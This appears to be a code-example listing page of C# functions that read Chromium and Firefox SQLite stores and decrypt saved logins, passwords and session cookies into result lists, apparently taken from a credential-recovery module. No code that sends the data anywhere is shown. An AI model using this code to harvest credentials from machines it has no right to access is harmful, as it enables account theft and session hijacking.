Пример #1
0
        public static List <RecoveredAccount> Passwords(string datapath, string browser)
        {
            List <RecoveredAccount> data        = new List <RecoveredAccount>();
            SQLiteHandler           SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }

            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("logins"))
            {
                return(data);
            }

            string host;
            string user;
            string pass;
            int    totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "origin_url");
                    user = SQLDatabase.GetValue(i, "username_value");
                    pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
                    {
                        data.Add(new RecoveredAccount
                        {
                            Url         = host,
                            Username    = user,
                            Password    = pass,
                            Application = browser
                        });
                    }
                }
                catch (Exception)
                {
                    // TODO: Exception handling
                }
            }

            return(data);
        }
Пример #2
0
        public static List<RecoveredAccount> Passwords(string datapath, string browser)
        {
            List<RecoveredAccount> data = new List<RecoveredAccount>();
            SQLiteHandler SQLDatabase = null;

            if (!File.Exists(datapath))
                return data;

            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return data;
            }

            if (!SQLDatabase.ReadTable("logins"))
                return data;

            string host;
            string user;
            string pass;
            int totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "origin_url");
                    user = SQLDatabase.GetValue(i, "username_value");
                    pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
                    {
                        data.Add(new RecoveredAccount
                        {
                            URL = host,
                            Username = user,
                            Password = pass,
                            Application = browser
                        });
                    }
                }
                catch (Exception)
                {
                    // TODO: Exception handling
                }
            }

            return data;
        }
Пример #3
0
        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List<FirefoxCookie> GetSavedCookies()
        {
            List<FirefoxCookie> data = new List<FirefoxCookie>();
            SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
            if (!sql.ReadTable("moz_cookies"))
                throw new Exception("Could not read cookie table");

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
                    long currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp = FromUnixTime(expiryTime);
                    bool expired = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host = h,
                        ExpiresUTC = exp,
                        Expired = expired,
                        Name = name,
                        Value = val,
                        Path = path,
                        Secure = secure,
                        HttpOnly = http
                    });
                }
                catch (Exception)
                {
                    return data;
                }
            }
            return data;
        }
Пример #4
0
        public static List<ChromiumCookie> Cookies(string dataPath, string browser)
        {
            string datapath = dataPath;

            List<ChromiumCookie> data = new List<ChromiumCookie>();
            SQLiteHandler SQLDatabase = null;

            if (!File.Exists(datapath))
                return data;
            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return data;
            }

            if (!SQLDatabase.ReadTable("cookies"))
                return data;

            string host;
            string name;
            string value;
            string path;
            string expires;
            string lastaccess;
            bool secure;
            bool http;
            bool expired;
            bool persistent;
            bool priority;

            int totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "host_key");
                    name = SQLDatabase.GetValue(i, "name");
                    value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"));
                    path = SQLDatabase.GetValue(i, "path");
                    expires = SQLDatabase.GetValue(i, "expires_utc");
                    lastaccess = SQLDatabase.GetValue(i, "last_access_utc");

                    secure = SQLDatabase.GetValue(i, "secure") == "1";
                    http = SQLDatabase.GetValue(i, "httponly") == "1";
                    expired = SQLDatabase.GetValue(i, "has_expired") == "1";
                    persistent = SQLDatabase.GetValue(i, "persistent") == "1";
                    priority = SQLDatabase.GetValue(i, "priority") == "1";


                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value))
                    {
                        data.Add(new ChromiumCookie
                        {
                            HostKey = host,
                            Name = name,
                            Value = value,
                            Path = path,
                            ExpiresUTC = expires,
                            LastAccessUTC = lastaccess,
                            Secure = secure,
                            HttpOnly = http,
                            Expired = expired,
                            Persistent = persistent,
                            Priority = priority,
                            Browser = browser

                        });
                    }
                }
                catch (Exception)
                {

                }
            }

            return data;
        }
Пример #5
0
        public static List <ChromiumCookie> Cookies(string dataPath, string browser)
        {
            string datapath = dataPath;

            List <ChromiumCookie> data        = new List <ChromiumCookie>();
            SQLiteHandler         SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }
            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("cookies"))
            {
                return(data);
            }

            string host;
            string name;
            string value;
            string path;
            string expires;
            string lastaccess;
            bool   secure;
            bool   http;
            bool   expired;
            bool   persistent;
            bool   priority;

            int totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host       = SQLDatabase.GetValue(i, "host_key");
                    name       = SQLDatabase.GetValue(i, "name");
                    value      = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"));
                    path       = SQLDatabase.GetValue(i, "path");
                    expires    = SQLDatabase.GetValue(i, "expires_utc");
                    lastaccess = SQLDatabase.GetValue(i, "last_access_utc");

                    secure     = SQLDatabase.GetValue(i, "secure") == "1";
                    http       = SQLDatabase.GetValue(i, "httponly") == "1";
                    expired    = SQLDatabase.GetValue(i, "has_expired") == "1";
                    persistent = SQLDatabase.GetValue(i, "persistent") == "1";
                    priority   = SQLDatabase.GetValue(i, "priority") == "1";


                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value))
                    {
                        data.Add(new ChromiumCookie
                        {
                            HostKey       = host,
                            Name          = name,
                            Value         = value,
                            Path          = path,
                            ExpiresUTC    = expires,
                            LastAccessUTC = lastaccess,
                            Secure        = secure,
                            HttpOnly      = http,
                            Expired       = expired,
                            Persistent    = persistent,
                            Priority      = priority,
                            Browser       = browser
                        });
                    }
                }
                catch (Exception)
                {
                }
            }

            return(data);
        }